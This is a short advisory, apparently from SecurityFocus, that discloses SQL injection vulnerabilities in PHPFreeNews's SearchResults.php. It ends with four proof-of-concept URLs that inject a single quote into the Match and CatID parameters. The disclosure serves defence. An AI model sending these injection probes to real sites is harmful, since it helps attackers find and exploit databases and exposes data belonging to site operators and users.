source: http://www.securityfocus.com/bid/14589/info

PHPFreeNews is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/phpfn/SearchResults.php?Match='&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='
http://www.example.com/phpfn/SearchResults.php?Match=%27&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID=%27 